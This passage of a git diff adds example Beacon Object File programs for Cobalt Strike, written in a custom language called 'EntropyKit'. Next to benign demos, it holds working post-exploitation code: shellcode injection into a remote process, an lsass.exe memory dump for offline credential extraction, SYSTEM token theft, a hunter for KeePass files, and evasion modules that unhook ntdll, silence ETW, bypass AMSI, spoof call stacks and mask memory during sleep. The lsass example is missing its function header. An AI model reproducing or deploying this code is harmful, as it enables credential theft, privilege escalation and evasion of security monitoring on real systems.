BeaconDataParse + +// BeaconDataInt + BeaconDataExtract in declaration order. +// +// Run: bof-runner bof_args_test.obj --iarg 1234 --zarg "hello" + +use bof; + +[BofArgs] +struct TestArgs { + pid: int, + name: char*, +} + +fn go(args: char*, len: int) -> void { + var a: TestArgs; + bof_parse_TestArgs(args, len, &a); + BeaconPrintf(0, str.format("pid={d} name={s}\n", a.pid, (char*)a.name)); + ret; +} diff --git a/examples/bof_cna_test.etpy b/examples/bof_cna_test.etpy new file mode 100644 index 0000000..2e35b75 --- /dev/null +++ b/examples/bof_cna_test.etpy @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_cna_test.etpy - `[BofCommand]` + `[BofArgs]` end-to-end. +// +// Building this BOF produces both: +// - bof_cna_test.obj (the BOF artifact) +// - bof_cna_test.cna (Aggressor script registering the command) +// +// Drop both into a Cobalt Strike profile dir, restart the server, +// and operators can run: `inject_payload 1234 "C:\path\to\payload.bin"` + +use bof; + +[BofArgs] +struct InjectArgs { + pid: int, + path: char*, +} + +[BofCommand("inject_payload")] +fn go(args: char*, len: int) -> void { + var a: InjectArgs; + bof_parse_InjectArgs(args, len, &a); + BeaconPrintf(0, str.format("[+] target pid={d} path={s}\n", a.pid, a.path)); + ret; +} diff --git a/examples/bof_enum_demo.etpy b/examples/bof_enum_demo.etpy new file mode 100644 index 0000000..e2e775b --- /dev/null +++ b/examples/bof_enum_demo.etpy @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_enum_demo.etpy - namespaced enums +// +// Name.Variant lowers to an integer literal at compile time. +// Different enums can share variant names (Color.Red vs Severity.High vs ErrorCode.Red - all distinct). + +use bof; + +enum Severity { + Info = 0, + Warn = 1, + Error = 2, + Fatal = 3, +} + +enum Color { + Red = 0xFF0000, + Green = 0x00FF00, + Blue = 0x0000FF, +} + +// Auto-increment from previous: HKLM = 1, HKCU = 2, HKCR = 3 +enum Hive { + HKLM = 1, + HKCU, + HKCR, +} + +fn log_line(sev: int, msg: str) -> void { + if sev == Severity.Info { BeaconPrintf(0, str.format("[INFO ] {s}\n", msg)); } + if sev == Severity.Warn { BeaconPrintf(0, str.format("[WARN ] {s}\n", msg)); } + if sev == Severity.Error { BeaconPrintf(0, str.format("[ERROR] {s}\n", msg)); } + if sev == Severity.Fatal { BeaconPrintf(0, str.format("[FATAL] {s}\n", msg)); } + ret; +} + +fn go(args: char*, len: int) -> void { + log_line(Severity.Info, "starting"); + log_line(Severity.Warn, "watch out"); + log_line(Severity.Error, "bad happened"); + log_line(Severity.Fatal, "give up"); + BeaconPrintf(0, str.format("red = 0x{x}\n", Color.Red)); + BeaconPrintf(0, str.format("green = 0x{x}\n", Color.Green)); + BeaconPrintf(0, str.format("HKLM = {d}\n", Hive.HKLM)); + BeaconPrintf(0, str.format("HKCU = {d}\n", Hive.HKCU)); + BeaconPrintf(0, str.format("HKCR = {d}\n", Hive.HKCR)); + ret; +} diff --git a/examples/bof_filehunt.etpy b/examples/bof_filehunt.etpy new file mode 100644 index 0000000..6106c8b --- /dev/null +++ b/examples/bof_filehunt.etpy @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_filehunt.etpy - substring-match file hunting. +// +// Walks a directory via FindFirstFileA / FindNextFileA, collects +// every entry whose name contains the operator-supplied substring +// into a doubly-linked list, then prints all matches at the end. +// +// Build: entc compile example/bof_filehunt.etpy --type=bof +// Args: +// --zarg directory to walk (e.g. C:\Users\dev) +// --zarg match substring (e.g. ".kdbx") +// Run: bof-runner example/bof_filehunt.obj \ +// --zarg "C:\Users\dev" \ +// --zarg ".kdbx" + +use bof; +use list; +use_c "stdlib/win32/filesystem.h"; + +// strlen_max(s, max) - walk the NUL-terminated string, return the length (excluding the nul). Bounded by max so a runaway pointer doesn't fault. +//No libc dependency. +fn strlen_max(s: char*, max: u64) -> u64 { + var i: u64 = 0; + while i < max { + if s[i] == (u8)0 { ret i; } + i = i + 1; + } + ret max; +} + +// contains - true iff needle occurs as a contiguous byte substring of haystack[0..hlen]. +// O(hlen * nlen) - fine for the path-length scale we operate on. +fn contains(haystack: char*, hlen: u64, needle: char*, nlen: u64) -> bool { + if nlen == 0 { ret true; } // empty needle matches everywhere + if nlen > hlen { ret false; } + var i: u64 = 0; + while i + nlen <= hlen { + if mem.cmp((char*)(haystack + i), needle, nlen) == 0 { + ret true; + } + i = i + 1; + } + ret false; +} + +// gc_strdup - allocate n + 1 bytes on the GC heap, +// copy the source bytes in, NUL-terminate. Returns the pointer as a u64 ready to push into a List +fn gc_strdup(src: char*, n: u64) -> u64 { + var dst: u64 = mem.alloc(n + 1); + if dst == 0 { ret 0; } + mem.copy((void*)dst, src, n); + // mem.alloc zero-inits (HEAP_ZERO_MEMORY in BOF mode), so the + // NUL terminator is already at position `n`. Nothing more to do. + ret dst; +} + +fn go(args: char*, len: int) -> void { + + // First z-string: directory to walk. Second: match substring. + // Both required; we error out cleanly if either is missing. + var parser: datap; + BeaconDataParse(&parser, args, len); + var dir_len: int = 0; + var dir: char* = BeaconDataExtract(&parser, &dir_len); + var needle_len: int = 0; + var needle: char* = BeaconDataExtract(&parser, &needle_len); + if dir_len == 0 || needle_len == 0 { + BeaconPrintf(0, "[!] usage: filehunt \n"); + ret; + } + BeaconPrintf(0, str.format("[+] hunting in {s} for `{s}`\n", dir, needle)); + + + // FindFirstFileA wants a glob. We stitch the operator's directory together with `\*` so every entry inside it surfaces. + // stick to a 280-byte buffer. If the operator passes anything wider we truncate (FindFirstFileA fails gracefully if the path doesn't exist). + var pattern: u8[280]; + var d_used: u64 = strlen_max(dir, 260); + mem.copy((char*)pattern, dir, d_used); + pattern[d_used ] = (u8)0x5c; // '\' + pattern[d_used + 1] = (u8)0x2a; // '*' + pattern[d_used + 2] = (u8)0; // NUL + + // FindFirstFileA returns INVALID_HANDLE_VALUE (-1) on failure. + // FindNextFileA returns 0 (FALSE) when the iteration is done, the loop bails on the first false + var fd: WIN32_FIND_DATAA; + var h: u64 = (u64)Kernel32.FindFirstFileA((char*)pattern, &fd); + if h == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, str.format("[!] FindFirstFileA(`{s}`) failed\n", (char*)pattern)); + ret; + } + + // Match collector: every matching filename gets copied onto the GC heap and pushed into this list. list_new() from + // stdlib/list.etpy + var matches: u64 = list_new(); + var scanned: int = 0; + + var nlen_u: u64 = (u64)needle_len - 1; // strip the nul beacon counted + var more: int = 1; + while more != 0 { + var fname: char* = (char*)fd.cFileName; + var flen: u64 = strlen_max(fname, 260); + + // Skip the '.' / '..' entries + var skip: bool = false; + if flen == 1 && fname[0] == (u8)0x2e { skip = true; } + if flen == 2 && fname[0] == (u8)0x2e && fname[1] == (u8)0x2e { skip = true; } + + if skip == false { + scanned = scanned + 1; + if contains(fname, flen, needle, nlen_u) { + var copy: u64 = gc_strdup(fname, flen); + if copy != 0 { list_push(matches, copy); } + } + } + + more = Kernel32.FindNextFileA((void*)h, &fd); + } + Kernel32.FindClose((void*)h); + + // Walk the list head-to-tail. + // Each node's value is the pointer we kept via gc_strdup so cast it back to har* and print directly. + var hits: u64 = list_count(matches); + BeaconPrintf(0, str.format("[+] scanned {d} entries, {d} hits:\n", + scanned, (int)hits)); + + var node: u64 = list_head(matches); + while node != 0 { + var path: char* = (char*)list_node_value(node); + BeaconPrintf(0, str.format(" {s}\n", path)); + node = list_node_next(node); + } + ret; +} diff --git a/examples/bof_inject.etpy b/examples/bof_inject.etpy new file mode 100644 index 0000000..04cd18c --- /dev/null +++ b/examples/bof_inject.etpy @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_inject.etpy - remote-process shellcode injection. +// Build: entc compile example/bof_inject.etpy --type=bof +// +// Args: +// --iarg target process +// --barg @ shellcode payload (raw bytes, length-prefixed) +// +// Run: bof-runner example/bof_inject.obj \ +// --iarg 4242 \ +// --barg @example/payload.bin + +use bof; + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var pid: int = BeaconDataInt(&parser); + + var sc_len: int = 0; + var sc_ptr: char* = BeaconDataExtract(&parser, &sc_len); + + if pid == 0 || sc_len == 0 { + BeaconPrintf(0, "[!] usage: inject \n"); + BeaconPrintf(0, " operator passes the payload via bof_pack \"b\"\n"); + ret; + } + BeaconPrintf(0, str.format("[+] target pid {d}, payload {d} bytes\n", + pid, sc_len)); + + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION + | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, + 0, (u32)pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed (privs / target gone?)\n"); + ret; + } + + + // Allocate sc_len bytes inside the remote process, RWX. + var remote: u64 = (u64)Kernel32.VirtualAllocEx( + (void*)h_proc, (void*)0, (u64)sc_len, + MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if remote == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] VirtualAllocEx failed\n"); + ret; + } + BeaconPrintf(0, str.format("[+] remote alloc @ 0x{x}\n", (int)remote)); + + var written: u64 = 0; + var ok: int = Kernel32.WriteProcessMemory( + (void*)h_proc, (void*)remote, sc_ptr, (u64)sc_len, &written); + if ok == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] WriteProcessMemory failed\n"); + ret; + } + + var old_prot: u32 = 0; + Kernel32.VirtualProtectEx( + (void*)h_proc, (void*)remote, (u64)sc_len, + PAGE_EXECUTE_READ, &old_prot); + + var tid: u32 = 0; + var h_thr: u64 = (u64)Kernel32.CreateRemoteThread( + (void*)h_proc, (void*)0, (u64)0, + (void*)remote, (void*)0, 0, &tid); + Kernel32.CloseHandle((void*)h_proc); + + if h_thr == 0 { + BeaconPrintf(0, "[!] CreateRemoteThread failed\n"); + ret; + } + Kernel32.CloseHandle((void*)h_thr); + BeaconPrintf(0, str.format("[+] thread {d} running in pid {d}\n", + (int)tid, pid)); + ret; +} diff --git a/examples/bof_lsass_dump.etpy b/examples/bof_lsass_dump.etpy new file mode 100644 index 0000000..19fd436 --- /dev/null +++ b/examples/bof_lsass_dump.etpy @@ -0,0 +1,102 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_lsass_dump.etpy - credential-store memory dump. +// +// Locates lsass.exe via Toolhelp32, OpenProcess's it with +// PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, then writes a full +// minidump via dbghelp!MiniDumpWriteDump. The .dmp can be carried +// back and processed offline with mimikatz / pypykatz / etc. +// +// Same tradecraft surface as nanodump / dumpert / Mimikatz' +// `sekurlsa::minidump` - but in ~80 lines of EntropyKit source +// instead of 800 of hand-rolled C with `#ifdef _MSC_VER` blocks. +// +// Pre-conditions: +// * SeDebugPrivilege (admin token OR steal token from a process +// that has it). Without it, OpenProcess returns NULL and the +// BOF reports `[!] OpenProcess failed`. +// +// Build: entc compile example/bof_lsass_dump.etpy --type=bof +// Args: --zarg "C:\Path\to\output.dmp" (optional; default below) +// Run: bof-runner example/bof_lsass_dump.obj --zarg "C:\\Windows\\Temp\\debug.bin" +// + +use bof; +use_c "stdlib/win32/toolhelp.h"; + +// Find lsass.exe by walking the toolhelp snapshot. Returns its PID or 0 if not found. + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret 0; + } + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + var found: u32 = 0; + while ok != 0 { + + if mem.cmp((char*)pe.szExeFile, "lsass.exe", 10) == 0 { + found = pe.th32ProcessID; + } + ok = Kernel32.Process32Next((void*)snap, &pe); + } + Kernel32.CloseHandle((void*)snap); + ret found; +} + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var size: int; + var path: char* = BeaconDataExtract(&parser, &size); + + if size == 0 { + path = "C:\\Windows\\Temp\\debug.bin"; + } + + var pid: u32 = find_lsass_pid(); + if pid == 0 { + BeaconPrintf(0, "[!] lsass.exe not found in snapshot\n"); + ret; + } + BeaconPrintf(0, str.format("[+] lsass.exe pid = {d}\n", (int)pid)); + + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed - SeDebugPrivilege required\n"); + BeaconPrintf(0, " (elevate, or impersonate a SYSTEM token first)\n"); + ret; + } + BeaconPrintf(0, str.format("[+] OpenProcess OK, handle=0x{x}\n", (int)h_proc)); + + var h_file: u64 = (u64)Kernel32.CreateFileA( + path, GENERIC_WRITE, 0, (void*)0, + CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, (void*)0); + if h_file == 0xFFFFFFFFFFFFFFFF { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, str.format("[!] CreateFileA(\"{s}\") failed\n", path)); + ret; + } + + BeaconPrintf(0, "[+] writing minidump...\n"); + var dumped: int = Dbghelp.MiniDumpWriteDump( + (void*)h_proc, pid, (void*)h_file, + MiniDumpWithFullMemory, + (void*)0, (void*)0, (void*)0 + ); + + Kernel32.CloseHandle((void*)h_file); + Kernel32.CloseHandle((void*)h_proc); + + if dumped != 0 { + BeaconPrintf(0, str.format("[+] wrote {s}\n", path)); + BeaconPrintf(0, "[+] retrieve via `download`, then offline:\n"); + BeaconPrintf(0, " pypykatz lsa minidump \n"); + } else { + BeaconPrintf(0, "[!] MiniDumpWriteDump failed\n"); + } + ret; +} diff --git a/examples/bof_manual_mem.etpy b/examples/bof_manual_mem.etpy new file mode 100644 index 0000000..198220d --- /dev/null +++ b/examples/bof_manual_mem.etpy @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_manual_mem.etpy - verify mem.alloc / mem.free pair. +// +// In BOF mode this works regardless of --gc. In standard mode it requires --gc=manual. + +use bof; + +fn go(args: char*, len: int) -> void { + var buf: u64 = mem.alloc(64); + if buf == 0 { + BeaconPrintf(0, "[!] HeapAlloc failed\n"); + ret; + } + var b: u8* = (u8*)buf; + b[0] = (u8)0x41; + b[63] = (u8)0x42; + BeaconPrintf(0, str.format("[+] alloc 64 bytes at {p}, first=0x{x} last=0x{x}\n", + buf, (int)b[0], (int)b[63])); + mem.free(buf); + BeaconPrintf(0, "[+] freed\n"); + ret; +} diff --git a/examples/bof_named_consts_demo.etpy b/examples/bof_named_consts_demo.etpy new file mode 100644 index 0000000..c5b0c46 --- /dev/null +++ b/examples/bof_named_consts_demo.etpy @@ -0,0 +1,20 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_named_consts_demo.etpy - Win32 constants without `use_c`. +// +// Every #define in stdlib/win32/*.h is now auto-included on +// every build. Magic-number arguments to Win32 calls become +// readable names with zero ceremony. + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, str.format("PROCESS_QUERY_INFORMATION = 0x{x}\n", + (int)PROCESS_QUERY_INFORMATION)); + BeaconPrintf(0, str.format("TOKEN_DUPLICATE = 0x{x}\n", + (int)TOKEN_DUPLICATE)); + BeaconPrintf(0, str.format("MEM_COMMIT = 0x{x}\n", + (int)MEM_COMMIT)); + BeaconPrintf(0, str.format("PAGE_EXECUTE_READWRITE = 0x{x}\n", + (int)PAGE_EXECUTE_READWRITE)); + ret; +} diff --git a/examples/bof_opsec_stack_demo.etpy b/examples/bof_opsec_stack_demo.etpy new file mode 100644 index 0000000..a03bb8a --- /dev/null +++ b/examples/bof_opsec_stack_demo.etpy @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_opsec_stack_demo.etpy - demonstrate the one-line OPSEC +// modules. +// +// Three `use` statements wire three [Stage(Init)] handlers +// that fire at startup before the user body runs: +// +// 1. opsec_unhook - reload ntdll from disk over the loaded +// copy, wiping every EDR inline hook. +// 2. opsec_etw - patch EtwEventWrite + variants so trace +// providers stop receiving events. +// 3. opsec_amsi - patch AmsiScanBuffer so AMSI scan +// requests return E_INVALIDARG. +// +// Build: entc compile example/bof_opsec_stack_demo.etpy --type=bof +// Run: bof-runner example/bin/bof_opsec_stack_demo.x64.o + +use bof; +use opsec_unhook; +use opsec_etw; +use opsec_amsi; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "[+] opsec stack engaged\n"); + BeaconPrintf(0, "[+] ntdll unhooked, ETW silenced, AMSI bypassed\n"); + ret; +} diff --git a/examples/bof_pslist.etpy b/examples/bof_pslist.etpy new file mode 100644 index 0000000..b7e44fa --- /dev/null +++ b/examples/bof_pslist.etpy @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: Apache-2.0 + +use bof; +use_c "stdlib/win32/toolhelp.h"; + +fn go(args: char*, len: int) -> void { + + var snap: u64 = (u64)Kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret; + } + + var pe: PROCESSENTRY32; + + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + var ok: int = Kernel32.Process32First((void*)snap, &pe); + if ok == 0 { + Kernel32.CloseHandle((void*)snap); + BeaconPrintf(0, "[!] Process32First failed (empty snapshot)\n"); + ret; + } + + BeaconPrintf(0, "[+] PID Process\n"); + BeaconPrintf(0, "[+] ----- -----------------------------\n"); + var count: int = 0; + while ok != 0 { + BeaconPrintf(0, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + (char*)pe.szExeFile)); + count = count + 1; + ok = Kernel32.Process32Next((void*)snap, &pe); + } + + Kernel32.CloseHandle((void*)snap); + BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count)); + ret; +} diff --git a/examples/bof_pslist_spoofed.etpy b/examples/bof_pslist_spoofed.etpy new file mode 100644 index 0000000..cb6f2ed --- /dev/null +++ b/examples/bof_pslist_spoofed.etpy @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_pslist_spoofed.etpy - process enumeration with stack-spoofed +// Win32 calls. +// +// Same tradecraft as bof_pslist.etpy but every Toolhelp32 call +// is dispatched through stackspoof_callN so the kernel-side stack walk during the call sees ntdll-shaped frames instead of our memory. +// +// What you're trading: +// - Two extra Win32 calls per spoofed dispatch +// (GetModuleHandleA + GetProcAddress to resolve fn_ptr). +// - +6 bytes per call site (the helper stub). +// +// Build: entc compile example/bof_pslist_spoofed.etpy --type=bof +// Run: bof-runner example/bof_pslist_spoofed.obj + +use bof; +use opsec_stack_spoof; +use_c "stdlib/win32/toolhelp.h"; + +// Resolve a Win32 export to a raw function pointer for use with +// the stackspoof helpers. Wrapping GetModuleHandleA + GetProcAddress so the operator-visible code stays tidy. +fn resolve(module: str, function: str) -> u64 { + var h: void* = Kernel32.GetModuleHandleA(module); + if h == (void*)0 { ret 0; } + ret (u64)Kernel32.GetProcAddress(h, function); +} + +fn go(args: char*, len: int) -> void { + // discover the JMP RBX gadget so the per-call overhead stays constant. + //(Optional - the first stackspoof_callN does the discovery lazily anyway) + var gadget: u64 = stackspoof_init(); + if gadget == 0 { + BeaconPrintf(0, "[!] no JMP RBX gadget found; falling back to plain calls\n"); + } else { + BeaconPrintf(0, str.format("[+] JMP RBX gadget @ 0x{x}\n", (int)gadget)); + } + + var pCreateSnap: u64 = resolve("kernel32.dll", "CreateToolhelp32Snapshot"); + var pProcFirst: u64 = resolve("kernel32.dll", "Process32First"); + var pProcNext: u64 = resolve("kernel32.dll", "Process32Next"); + var pCloseHandle:u64 = resolve("kernel32.dll", "CloseHandle"); + + // CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) + var snap: u64 = stackspoof_call2(pCreateSnap, (u64)TH32CS_SNAPPROCESS, 0); + if snap == 0xFFFFFFFFFFFFFFFF { + BeaconPrintf(0, "[!] CreateToolhelp32Snapshot failed\n"); + ret; + } + + var pe: PROCESSENTRY32; + pe.dwSize = (u32)sizeof(PROCESSENTRY32); + + // Process32First(snap, &pe) + var ok: u64 = stackspoof_call2(pProcFirst, snap, (u64)&pe); + if ok == 0 { + stackspoof_call1(pCloseHandle, snap); + BeaconPrintf(0, "[!] Process32First failed\n"); + ret; + } + + BeaconPrintf(0, "[+] PID Process (spoofed-call dispatch)\n"); + var count: int = 0; + while ok != 0 { + BeaconPrintf(0, str.format("[+] {d} {s}\n", + (int)pe.th32ProcessID, + (char*)pe.szExeFile)); + count = count + 1; + ok = stackspoof_call2(pProcNext, snap, (u64)&pe); + } + stackspoof_call1(pCloseHandle, snap); + BeaconPrintf(0, str.format("[+] enumerated {d} processes\n", count)); + ret; +} diff --git a/examples/bof_sleep_mask_demo.etpy b/examples/bof_sleep_mask_demo.etpy new file mode 100644 index 0000000..03afe1a --- /dev/null +++ b/examples/bof_sleep_mask_demo.etpy @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_sleep_mask_demo.etpy - operator-defined sleep mask. +// +// Demonstrates the `stdlib/opsec/sleep_mask.etpy` interface: the +// operator declares a `[Hook("KERNEL32$Sleep")]` function; the +// compiler routes every `Kernel32.Sleep(...)` through it. Self- +// recursion inside the hook calls the REAL Sleep - the hook +// machinery's auto-bypass makes the natural `Kernel32.Sleep(...)` +// inside the body Just Work without an infinite loop. +// +// Build: entc compile example/bof_sleep_mask_demo.etpy --type=bof +// Run: bof-runner example/bof_sleep_mask_demo.obj +// +// Expected output: +// +// [BOF] [+] secret = AAAAAAAAAAAAAAAA +// [BOF] [HOOK] sleeping 100 ms, mask key=0x5a +// [BOF] [HOOK] re-encrypting the scratch region +// [BOF] [HOOK] (real Sleep happens here) +// [BOF] [HOOK] decrypting +// [BOF] [+] secret after sleep = AAAAAAAAAAAAAAAA +// + +use bof; +use opsec_sleep_mask; + +// A piece of "secret" data we'll mask across the sleep. In a real mplant this would be the implant body itself (.bin contents). For the demo we keep it small + on the heap. +static __demo_secret_size: int = 16; + +fn make_secret() -> u64 { + var p: u64 = mem.alloc(16); + var b: char* = (char*)p; + var i: int = 0; + while i < 16 { + b[i] = (u8)0x41; // 'A' + i = i + 1; + } + ret p; +} + +// Sleep mask. Every Kernel32.Sleep(ms) call site in the program +// is redirected here at compile time by the [Hook] machinery. +// The body manipulates the demo secret around a call to the real +// Sleep (the self-recursion bypass turns the inner Kernel32.Sleep into a normal dispatch skipping this hook). +// +// Operators replace the body with: +// 1. Resolve the implant's runtime base + length (operator-known) +// 2. Encrypt with whatever cipher they want (AES / XOR) +// 3. VirtualProtect to RW (drop execute) +// 4. Call the real Sleep or a different sleep primitive that +// doesnt show up as a Sleep frame on the call stack (e.g. CreateTimerQueueTimer + NtContinue / Ekko) +// 5. VirtualProtect to restore. +// 6. Decrypt +static __demo_secret_ptr: u64 = 0; + +[Hook("KERNEL32$Sleep")] +fn my_sleep_mask(ms: u32) -> void { + BeaconPrintf(0, str.format("[HOOK] sleeping {d} ms, mask key=0x5a\n", (int)ms)); + var key: u8 = (u8)0x5A; + + // Encrypt: flip every byte with the key. + BeaconPrintf(0, "[HOOK] re-encrypting the scratch region\n"); + opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key); + + // Call the REAL Sleep. The hook self-recursion bypass turns this into a normal Kernel32.Sleep dispatch (no infinite loop back into us) + BeaconPrintf(0, "[HOOK] (real Sleep happens here)\n"); + Kernel32.Sleep(ms); + + // Decrypt. XOR is involutive, same key undoes the masking. + BeaconPrintf(0, "[HOOK] decrypting\n"); + opsec_xor_region(__demo_secret_ptr, (u64)__demo_secret_size, key); + ret; +} + +fn go(args: char*, len: int) -> void { + __demo_secret_ptr = make_secret(); + var as_bytes: char* = (char*)__demo_secret_ptr; + BeaconPrintf(0, str.format("[+] secret = {s}\n", as_bytes)); + + // The Sleep below goes through `my_sleep_mask` automatically the operator's code stays clean + Kernel32.Sleep(100); + + BeaconPrintf(0, str.format("[+] secret after sleep = {s}\n", as_bytes)); + ret; +} diff --git a/examples/bof_stack_strings_demo.etpy b/examples/bof_stack_strings_demo.etpy new file mode 100644 index 0000000..cfb536a --- /dev/null +++ b/examples/bof_stack_strings_demo.etpy @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_stack_strings_demo.etpy - exercise --opsec=stack_strings. +// +// Without the flag: each BeaconPrintf string goes into .rdata and shows up under strings immediately. +// +// With the flag: short literals are rebuilt on the stack at +// runtime via mov rax, imm64; mov [rbp+disp], rax sequences. +// strings finds nothing recognisable in .rdata. +// +// Build (try both, compare with strings): +// entc compile example/bof_stack_strings_demo.etpy --type=bof +// entc compile example/bof_stack_strings_demo.etpy --type=bof --opsec=stack_strings +// strings example/bof_stack_strings_demo.x64.o | grep -E "hello|signature|tripwire" +// Run: +// bof-runner example/bof_stack_strings_demo.x64.o + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "hello from a stack string\n"); + BeaconPrintf(0, "another signature line\n"); + BeaconPrintf(0, "tripwire: this should NOT appear in .rdata\n"); + ret; +} diff --git a/examples/bof_stage_test.etpy b/examples/bof_stage_test.etpy new file mode 100644 index 0000000..5edb046 --- /dev/null +++ b/examples/bof_stage_test.etpy @@ -0,0 +1,38 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_stage_test.etpy - exercises [Stage(Init)] / [Stage(Exit)] +// lifecycle hooks. Demonstrates the OPSEC developer API: +// +// The init handler runs ONCE before user code, can call Win32. +// The exit handler runs ONCE before the entry returns, can call +// Win32, preserves the return value. + +use bof; + +static __init_counter: int = 0; +static __exit_counter: int = 0; + +[Stage(Init)] +fn opsec_init_a() -> void { + __init_counter = __init_counter + 1; + BeaconPrintf(0, "[INIT-A] before user code\n"); + ret; +} + +[Stage(Init)] +fn opsec_init_b() -> void { + __init_counter = __init_counter + 10; + BeaconPrintf(0, "[INIT-B] also before user code\n"); + ret; +} + +[Stage(Exit)] +fn opsec_exit_a() -> void { + __exit_counter = __exit_counter + 1; + BeaconPrintf(0, "[EXIT-A] just before ret\n"); + ret; +} + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, str.format("[USER] running: init_counter={d}\n", __init_counter)); + ret; +} diff --git a/examples/bof_token_steal.etpy b/examples/bof_token_steal.etpy new file mode 100644 index 0000000..03ed7cd --- /dev/null +++ b/examples/bof_token_steal.etpy @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: Apache-2.0 +// bof_token_steal.etpy - privilege escalation via token theft. +// +// Same tradecraft as TrustedSec's `steal_token` BOF; ~80 lines +// instead of ~400 because: +// * the language already lowers structured-binding calls to the +// Win64 ABI (no manual rcx/rdx juggling); +// * BeaconUseToken / BeaconRevertToken are typed extern fns out +// of `use bof;` - no header wrestling; +// * the inline struct decl matches the OS ABI directly. +// +// Build: entc compile example/bof_token_steal.etpy --type=bof +// Args: --iarg (target process; required) +// Run: bof-runner example/bof_token_steal.obj --iarg 1648 # services.exe +// +// Pre-conditions: +// * SeDebugPrivilege on the calling token (admin / SYSTEM). +// * The target's primary token must be impersonatable (which +// it is for any process whose owner SID we hold or which is +// SecurityImpersonation-class - services.exe always works). + + +use bof; + +fn go(args: char*, len: int) -> void { + + var parser: datap; + BeaconDataParse(&parser, args, len); + var pid: int = BeaconDataInt(&parser); + + if pid == 0 { + BeaconPrintf(0, "[!] usage: token_steal \n"); + BeaconPrintf(0, " pick a SYSTEM-owned PID via the `ps` BOF first.\n"); + ret; + } + + BeaconPrintf(0, str.format("[+] targeting pid {d}\n", pid)); + + // Requires SeDebugPrivilege to open a SYSTEM-owned process. + var h_proc: u64 = (u64)Kernel32.OpenProcess( + PROCESS_QUERY_INFORMATION, 0, (u32)pid); + if h_proc == 0 { + BeaconPrintf(0, "[!] OpenProcess failed (need SeDebugPrivilege)\n"); + ret; + } + + var h_token: u64 = 0; + var ok: int = Advapi32.OpenProcessToken( + (void*)h_proc, + TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE, + &h_token); + if ok == 0 { + Kernel32.CloseHandle((void*)h_proc); + BeaconPrintf(0, "[!] OpenProcessToken failed\n"); + ret; + } + + var h_dup: u64 = 0; + ok = Advapi32.DuplicateTokenEx((void*)h_token, 0, (void*)0, 2, 2, &h_dup); + + // Source token + process handle no longer needed once the duplicate is in hand. Close in reverse order of opening so a leak in DuplicateTokenEx doesn't strand them. + Kernel32.CloseHandle((void*)h_token); + Kernel32.CloseHandle((void*)h_proc); + + if ok == 0 || h_dup == 0 { + BeaconPrintf(0, "[!] DuplicateTokenEx failed\n"); + ret; + } + + // BeaconUseToken installs the impersonation token as the identity used for subsequent BOFs + commands. + var used: bool = BeaconUseToken((void*)h_dup); + if used == false { + Kernel32.CloseHandle((void*)h_dup); + BeaconPrintf(0, "[!] BeaconUseToken refused the token\n"); + ret; + } + + BeaconPrintf(0, str.format("[+] token from pid {d} installed\n", pid)); + BeaconPrintf(0, "[+] use `getuid` to confirm, `rev2self` to release\n"); + ret; +} diff --git a/examples/bof_veh_test.etpy b/examples/bof_veh_test.etpy new file mode 100644 index 0000000..d0ef72e --- /dev/null +++ b/examples/bof_veh_test.etpy @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: Apache-2.0 + +use bof; + +fn go(args: char*, len: int) -> void { + BeaconPrintf(0, "[*] Crashing...\n"); + + try { + var p: u32* = (u32*)0; + var v: u32 = *p; // EXCEPTION_ACCESS_VIOLATION + BeaconPrintf(0, str.format("[?] should not print: {d}\n", 